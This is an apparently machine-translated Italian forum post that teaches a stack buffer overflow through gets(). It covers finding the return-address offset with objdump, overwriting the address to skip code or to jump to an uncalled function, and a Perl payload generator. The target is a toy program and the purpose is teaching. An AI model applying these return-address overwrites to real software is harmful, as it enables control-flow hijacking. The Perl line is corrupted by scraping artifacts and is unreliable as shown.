Ecco una guida che ho scritto per un amico un attimo prima di eseguire un attacco di overflow del buffer utilizzando gets
. Si passa a come ottenere l'indirizzo di ritorno e come usarlo per scrivere su quello vecchio:
La nostra conoscenza dello stack ci dice che l'indirizzo di ritorno appare sullo stack dopo il buffer che stai cercando di traboccare. Tuttavia, quanto lontano dopo il buffer viene visualizzato l'indirizzo di ritorno dipende dall'architettura che si sta utilizzando. Per determinare questo, prima di scrivere un programma semplice e ispezionare l'assemblaggio:
codice C:
void function()
{
char buffer[4];
}
int main()
{
function();
}
Assembly (abbreviata):
function:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
leave
ret
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call function
...
Ci sono diversi strumenti che è possibile utilizzare per ispezionare il codice assembly. Innanzitutto, è che compila direttamente sull'output di assembly da gcc utilizzando gcc -S main.c.Questo può essere difficile da leggere poiché ci sono pochi suggerimenti per quale codice corrisponde al codice C originale. Inoltre, c'è un sacco di codice standard che può essere difficile da setacciare. Un altro strumento da considerare è gdbtui. Il vantaggio dell'utilizzo di gdbtui è che è possibile ispezionare la sorgente dell'assembly mentre si esegue il programma e ispezionare manualmente lo stack durante l'esecuzione del programma. Tuttavia, ha una curva di apprendimento ripida.
Il programma di ispezione dell'assemblaggio che mi piace di più è objdump. L'esecuzione di objdump -dS a.out
fornisce all'origine dell'assieme il contesto del codice sorgente C originale. Usando objdump, sul mio computer l'offset dell'indirizzo di ritorno dal buffer dei caratteri è di 8 byte.
Questa funzione function
prende l'indirizzo di ritorno e ne incrementa 7. L'istruzione che ha originariamente indicato come indirizzo di ritorno è 7 byte di lunghezza, quindi l'aggiunta 7 rende l'indirizzo di ritorno il punto dell'istruzione immediatamente dopo l'assegnazione.
Nell'esempio seguente, sovrascrivo l'indirizzo di ritorno per saltare l'istruzione x = 1
.
semplice programma C:
void function()
{
char buffer[4];
/* return address is 8 bytes beyond the start of the buffer */
int *ret = buffer + 8;
/* assignment instruction we want to skip is 7 bytes long */
(*ret) += 7;
}
int main()
{
int x = 0;
function();
x = 1;
printf("%d\n",x);
}
Funzione principale (x = 1 a 80483af è lungo sette byte):
8048392: 8d4c2404 lea 0x4(%esp),%ecx
8048396: 83e4f0 and $0xfffffff0,%esp
8048399: ff71fc pushl -0x4(%ecx)
804839c: 55 push %ebp
804839d: 89e5 mov %esp,%ebp
804839f: 51 push %ecx
80483a0: 83ec24 sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8 mov -0x8(%ebp),%eax
80483b9: 89442404 mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff call 80482d8 <[email protected]>
80483c9: 83c424 add $0x24,%esp
80483cc: 59 pop %ecx
80483cd: 5d pop %ebp
sappiamo dove l'indirizzo di ritorno è e abbiamo dimostrato che cambiarlo può influire sul codice che viene eseguito. Un overflow del buffer può fare la stessa cosa utilizzando gets
e inserendo la stringa di caratteri corretta in modo che l'indirizzo di ritorno venga sovrascritto con un nuovo indirizzo.
In un nuovo esempio di seguito abbiamo una funzione function
che ha un buffer riempito utilizzando gets. Abbiamo anche una funzione uncalled
che non viene mai chiamata. Con l'input corretto, possiamo eseguire non richiesti.
#include <stdio.h>
#include <stdlib.h>
void uncalled()
{
puts("uh oh!");
exit(1);
}
void function()
{
char buffer[4];
gets(buffer);
}
int main()
{
function();
puts("program secure");
}
Per eseguire uncalled
, ispezionare l'eseguibile utilizzando objdump
o simile per trovare l'indirizzo del punto di ingresso di uncalled
. Quindi aggiungere l'indirizzo al buffer di input nel posto giusto in modo che sovrascriva il vecchio indirizzo di ritorno. Se il tuo computer è little-endian (x86, ecc.), Devi scambiare il endianness dell'indirizzo.
Per fare ciò correttamente, ho un semplice script perl qui sotto, che genera l'input che causerà l'overflow del buffer che sovrascriverà l'indirizzo di ritorno. Prende due argomenti, prima prende il nuovo indirizzo di ritorno, e in secondo luogo prende la distanza (in byte) dall'inizio del buffer nella posizione dell'indirizzo di ritorno.
#!/usr/bin/perl
print "x"[email protected][1]; # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n"; # new line to end gets
non posso usare questo metodo , perché sto usando linux e GNU GCC. –
@Mike, in realtà puoi usare _method_ dato che 'gcc' fornisce anche' asm' in linea. Devi solo convertirlo alla sintassi alternativa. – paxdiablo